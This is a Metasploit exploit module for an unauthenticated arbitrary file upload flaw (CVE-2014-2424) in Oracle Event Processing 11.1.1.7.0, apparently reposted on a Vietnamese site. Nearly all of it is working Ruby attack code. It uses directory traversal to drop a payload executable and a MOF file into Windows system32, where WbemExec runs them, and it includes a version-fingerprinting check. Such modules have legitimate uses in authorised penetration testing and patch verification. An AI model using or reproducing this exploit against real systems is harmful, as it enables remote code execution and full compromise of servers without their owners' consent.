Oracle Event Processing FileUploadServlet Arbitrary File Upload

Bài liên quan

##

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

 

require 'msf/core'

 

class Metasploit3 < Msf::Exploit::Remote

  Rank = ExcellentRanking

 

  include Msf::Exploit::Remote::HttpClient

  include Msf::Exploit::EXE

  include Msf::Exploit::WbemExec

  include Msf::Exploit::FileDropper

 

  def initialize(info = {})

    super(update_info(info,

      'Name'           => 'Oracle Event Processing FileUploadServlet Arbitrary File Upload',

      'Description'    => %q{

        This module exploits an Arbitrary File Upload vulnerability in Oracle Event Processing

        11.1.1.7.0. The FileUploadServlet component, which requires no authentication, can be

        abused to upload a malicious file onto an arbitrary location due to a directory traversal

        flaw, and compromise the server. By default Oracle Event Processing uses a Jetty

        Application Server without JSP support, which limits the attack to WbemExec. The current

        WbemExec technique only requires arbitrary write to the file system, but at the moment the

        module only supports Windows 2003 SP2 or older.

      },

      'License'        => MSF_LICENSE,

      'Author'         =>

        [

          'rgod <rgod[at]autistici.org>', # Vulnerability Discovery

          'juan vazquez' # Metasploit module

        ],

      'References'     =>

        [

          ['CVE', '2014-2424'],

          ['ZDI', '14-106'],

          ['BID', '66871'],

          ['URL', 'http://www.oracle.com/technetwork/topics/security/cpuapr2014-1972952.html']

        ],

      'DefaultOptions' =>

        {

          'WfsDelay' => 5

        },

      'Payload'        =>

        {

          'DisableNops' => true,

          'Space'       => 2048

        },

      'Platform'       => 'win',

      'Arch'           => ARCH_X86,

      'Targets'        =>

        [

          ['Oracle Event Processing 11.1.1.7.0 / Windows 2003 SP2 through WMI', {}]

        ],

      'DefaultTarget'  => 0,

      'DisclosureDate' => 'Apr 21 2014'))

 

    register_options(

      [

        Opt::RPORT(9002),

        # By default, uploads are stored in:

        # C:\Oracle\Middleware\user_projects\domains\<DOMAIN>\defaultserver\upload\

        OptInt.new('DEPTH', [true, 'Traversal depth', 7])

      ], self.class)

  end

 

  def upload(file_name, contents)

    post_data = Rex::MIME::Message.new

    post_data.add_part(rand_text_alpha(4 + rand(4)), nil, nil, "form-data; name=\"Filename\"")

    post_data.add_part(contents, "application/octet-stream", "binary", "form-data; name=\"uploadfile\"; filename=\"#{file_name}\"")

    data = post_data.to_s

 

    res = send_request_cgi({

      'uri'    => '/wlevs/visualizer/upload',

      'method' => 'POST',

      'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",

      'data'   => data

    })

 

    res

  end

 

  def traversal

    "../" * datastore['DEPTH']

  end

 

  def exploit

    print_status("#{peer} - Generating payload and mof file...")

    mof_name = "#{rand_text_alpha(rand(5)+5)}.mof"

    exe_name = "#{rand_text_alpha(rand(5)+5)}.exe"

    exe_content = generate_payload_exe

    mof_content = generate_mof(mof_name, exe_name)

 

    print_status("#{peer} - Uploading the exe payload #{exe_name}...")

    exe_traversal = "#{traversal}WINDOWS/system32/#{exe_name}"

    res = upload(exe_traversal, exe_content)

 

    unless res && res.code == 200 && res.body.blank?

      print_error("#{peer} - Unexpected answer, trying anyway...")

    end

    register_file_for_cleanup(exe_name)

 

    print_status("#{peer} - Uploading the MOF file #{mof_name}")

    mof_traversal = "#{traversal}WINDOWS/system32/wbem/mof/#{mof_name}"

    upload(mof_traversal, mof_content)

    register_file_for_cleanup("wbem/mof/good/#{mof_name}")

  end

 

  def check

    res = send_request_cgi({

      'uri'    => '/ohw/help/state',

      'method' => 'GET',

      'vars_get'  => {

        'navSetId' => 'cepvi',

        'navId' => '0',

        'destination' => ''

      }

    })

 

    if res && res.code == 200

      if res.body.to_s.include?("Oracle Event Processing 11g Release 1 (11.1.1.7.0)")

        return Exploit::CheckCode::Detected

      elsif res.body.to_s.include?("Oracle Event Processing 12")

        return Exploit::CheckCode::Safe

      end

    end

 

    Exploit::CheckCode::Unknown

  end

 

end